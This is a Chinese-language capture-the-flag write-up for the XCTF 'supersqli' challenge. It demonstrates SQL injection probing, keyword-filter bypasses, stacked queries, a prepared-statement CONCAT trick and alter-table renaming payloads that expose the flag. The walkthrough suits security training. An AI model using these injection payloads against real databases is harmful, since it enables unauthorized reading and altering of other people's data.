XCTF題目 supersqli 的做題思路

在輸入框提交後瀏覽器自動進行URL編碼。若在hackbar中,則需要手動進行URL編碼。
在這裏插入圖片描述嘗試: 1’ –
顯示結果
在這裏插入圖片描述於是修改爲 1’#
顯示:
在這裏插入圖片描述正常情況下輸入

一:					1
二:					1' and 1=1						
三:					1'and 1=2 		

若一、二、三都爲真,則存在注入點。
在這裏插入圖片描述
在這裏插入圖片描述在這裏插入圖片描述
經測試,存在注入點。
然後 通過order by測試一共有多少列。
在這裏插入圖片描述
在這裏插入圖片描述經過測試,一共又兩列。
然後輸入1' union select database(),user() #
顯示:
在這裏插入圖片描述
發現對select、update、delete、drop、insert、where、. ,這些字符和單詞進行了過濾。
嘗試繞過:
1.將select改爲SElect
2.select 改爲 sele/**/ct
3.select 改爲 sele%ct
三種情況發現都無法進行繞過

於是考慮堆疊注入。
輸入1';show tables;成功。
在這裏插入圖片描述顯示錶的內容,然後進行查看錶的列數。
分別輸入
1'; show columns from ` 1919810931114514 ` ; #
在這裏插入圖片描述
1'; show columns from ` words ` ; #
在這裏插入圖片描述然後大致瞭解情況,看到flag在1919810931114514表中,
於是通過預編譯查看,預編譯主要代碼如下:

	Set @sql = CONCAT('se','lect * from `1919810931114514`;');
	Prepare stmt from @sql;
	EXECUTE stmt;

輸入1’;Set @sql = CONCAT(‘se’,‘lect * from ` 1919810931114514`;’); Prepare stmt from @sql; EXECUTE stmt; #
看到flag。
在這裏插入圖片描述
flag 爲flag{c168d583ed0d4d7196967b28cbd0b5e9}

第二種方法
繞過select還有第二個方法,更改表名列名。通過上面的表的列數可以大致猜到查詢的表爲words,我們將表1919810931114514名字改爲words,flag列名字改爲id,那麼就能得到flag的內容了。

修改表名和列名的語法如下:

修改表名(將表名user改爲users)
alter table user rename to users;

修改列名(將字段名username改爲name)
alter table users change uesrname name varchar(30);

最終payload如下:

輸入:

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

拆分開來如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#

然後在輸入框輸入1即可查詢出flag
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章